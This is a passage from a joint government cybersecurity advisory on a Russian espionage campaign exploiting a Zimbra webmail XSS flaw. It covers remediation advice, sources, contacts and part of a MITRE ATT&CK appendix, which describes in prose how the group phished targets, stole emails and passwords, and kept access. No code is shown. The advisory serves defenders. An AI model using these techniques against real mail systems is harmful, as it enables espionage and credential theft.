<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
